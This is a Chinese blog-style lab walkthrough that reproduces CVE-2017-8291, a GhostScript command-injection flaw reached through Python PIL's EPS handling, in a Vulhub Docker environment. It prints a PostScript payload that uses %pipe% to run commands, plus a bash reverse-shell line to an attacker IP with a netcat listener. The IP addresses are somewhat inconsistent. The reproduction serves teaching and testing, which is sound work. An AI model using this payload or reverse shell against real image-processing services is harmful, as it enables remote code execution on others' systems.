Python PIL远程命令执行漏洞复现(CVE-2017-8291 CVE-2017-8291)

简介: Python PIL远程命令执行漏洞复现(CVE-2017-8291 CVE-2017-8291)

漏洞原理

Python中处理图片的模块PIL(Pillow),因为其内部调用了GhostScript而受到GhostButt漏洞(CVE-2017-8291)的影响,造成远程命令执行漏洞。

漏洞详情

漏洞简述

PIL内部根据图片头(Magic Bytes)判断图片类型,如果发现是一个eps文件(头为%!PS),则分发给PIL/EpsImagePlugin.py处理。
在这个模块中,PIL调用了系统的gs命令,也就是GhostScript来处理图片文件:

command = ["gs",
            "-q",                         # quiet mode
            "-g%dx%d" % size,             # set output geometry (pixels)
            "-r%fx%f" % res,              # set input DPI (dots per inch)
            "-dBATCH",                    # exit after processing
            "-dNOPAUSE",                  # don't pause between pages,
            "-dSAFER",                    # safe mode
            "-sDEVICE=ppmraw",            # ppm driver
            "-sOutputFile=%s" % outfile,  # output file
            "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
                                            # adjust for image origin
            "-f", infile,                 # input file
            ]

# 省略判断是GhostScript是否安装的代码
try:
    with open(os.devnull, 'w+b') as devnull:
        subprocess.check_call(command, stdin=devnull, stdout=devnull)
    im = Image.open(outfile)

漏洞复现环境

名称 系统名称 IP地址
攻击机 kali 192.168.255.57
靶机 centos7 192.168.255.176

1、在centos7中开启docker环境,并拉取Vulhub漏洞源码

[root@didiplus ~]# git clone https://github.com/vulhub/vulhub.git

2、进入CVE-2017-8291

[root@didiplus CTF]# cd vulhub/python/PIL-CVE-2017-8291/
[root@didiplus PIL-CVE-2017-8291]# ls
01.png  app.py  docker-compose.yml  poc.png  README.md
[root@didiplus PIL-CVE-2017-8291]#

3、执行命令docker-compose up -d,拉取镜像。

[root@didiplus PIL-CVE-2017-8291]# docker-compose up -d
Creating pil-cve-2017-8291_web_1 ... done
[root@didiplus PIL-CVE-2017-8291]# docker ps -a
CONTAINER ID        IMAGE                                COMMAND                  CREATED             STATUS              PORTS                               NAMES
80c159201cad        vulhub/ghostscript:9.21-with-flask   "python app.py"          6 seconds ago       Up 3 seconds        0.0.0.0:8000->8000/tcp              pil-cve-2017-8291_web_1

4、在kali下访问靶场:http://192.168.255.167:8000/
在这里插入图片描述5、上传poc.png图片,使用vi打开该文件,内容如下:

...省略...
currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
.putdeviceparams
1 true .outputpage
.rsdparams
%{
   
    } loop
0 0 .quit
%asdf

在这里插入图片描述

上传文件成功后,会在/tmp/目录下创建aaaaa文件。

6、在docker靶场中查看aaaaa文件,证明是否存在漏洞
在这里插入图片描述
成功在tmp目录下创建文件,说明存在漏洞。

通过反弹shell命令获取root权限。

1、在kail(攻击机)上,开启侦听端口8002端口,执行 nc -l -p 8002
在这里插入图片描述
2、修改poc.png的命令为反弹shell命令bash –c "bash –i >& /dev/tcp/192.168.32.1/777 0>&1"
在这里插入图片描述3、再次上传后,监听端口成功反弹shell
在这里插入图片描述
参考资料:
Python PIL 远程命令执行漏洞(GhostButt CVE-2017-8291 )
Python PIL 远程命令执行漏洞(GhostButt )

目录
相关文章
|
6天前
|
Python
超详细的Python中 pip 常用命令,值得收藏!
超详细的Python中 pip 常用命令,值得收藏!
10 0
|
5天前
|
前端开发 计算机视觉
Building wheel for opencv-python (pyproject.toml) ,安装命令增加 --verbose 参数
Building wheel for opencv-python (pyproject.toml) ,安装命令增加 --verbose 参数
17 2
|
6天前
|
API 开发工具 网络架构
【Azure Developer】使用Python SDK去Azure Container Instance服务的Execute命令的疑问解释
Azure 容器实例(Azure Container Instances,简称 ACI)是一个无服务器容器解决方案,允许用户在 Azure 云环境中运行 Docker 容器,而无需设置虚拟机、集群或编排器。 ACI 适用于任何可以在隔离容器中操作的场景,包括事件驱动的应用程序、从容器开发管道快速部署、数据处理和生成作业。
|
1月前
|
Linux iOS开发 MacOS
python的virtualenv虚拟环境常见问题和命令
`venv`是Python的内置模块,用于创建隔离的虚拟环境。创建虚拟环境如`python3 -m venv myenv`,激活环境在Windows上是`./venv/Scripts/activate`,在Unix-like系统是`source myenv/bin/activate`。退出环境用`deactivate`。`pip list`查看已安装包,`pip install`安装包,`pip freeze > requirements.txt`保存依赖。PyCharm中红色`venv`表示项目使用了虚拟环境。
37 2
 python的virtualenv虚拟环境常见问题和命令
|
21天前
|
Python
python常用命令
python常用命令
17 1
|
26天前
|
安全 Python
【漏洞复现】探索 Python 中原型链的利用与污染
在本文中,我们从实际应用的角度出发,深入探讨原型链的利用方式,并剖析可能导致代码安全漏洞和意外行为的污染情形,同时希望读者深刻了解 Python 中原型链的概念、机制以及潜在的安全风险。
|
2月前
|
IDE Linux 数据处理
探索Linux中的`pydoc`命令:Python文档生成器的力量
`pydoc`是Linux上Python的文档生成和查看工具,尤其对数据科学家有价值。它从docstring生成模块、函数和类的文档,提供快速API参考。主要特点包括易用性、支持标准库和第三方库、跨平台。命令行示例:`pydoc pandas` 查看库文档,`pydoc numpy.array` 查看类详情,`pydoc -k 关键字` 进行搜索。使用时注意正确安装Python,编写清晰的docstring,并结合IDE以提升效率。
|
2月前
|
Python
Python异步执行CMD命令的技巧与实践
Python异步执行CMD命令的技巧与实践
61 3
|
2月前
|
JSON 安全 数据格式
详解python pickle中的反序列化漏洞
今天我们来聊聊Python里的反序列化攻击。先来看看什么是序列化和反序列化。简单来说,序列化就是把数据结构转换成字节流,这样我们就可以把数据保存到文件里或者通过网络传输。反序列化则是把这些字节流再转换回原来的数据结构。 在Python里,常用的模块之一就是Pickle。它可以帮我们很方便地进行序列化和反序列化操作。比如,你可以把一个复杂的Python对象序列化保存下来,等需要用的时候再反序列化回来。 反序列化攻击的概述 反序列化过程有漏洞:如果我们反序列化了一个不可信的数据源,那就可能引发反序列化攻击。攻击者可以在序列化的数据里嵌入恶意代码,当你反序列化这个数据时,这些恶意代码就会被执
|
1月前
|
计算机视觉 Python
【Python】已解决:ModuleNotFoundError: No module named ‘PIL’
【Python】已解决:ModuleNotFoundError: No module named ‘PIL’
59 0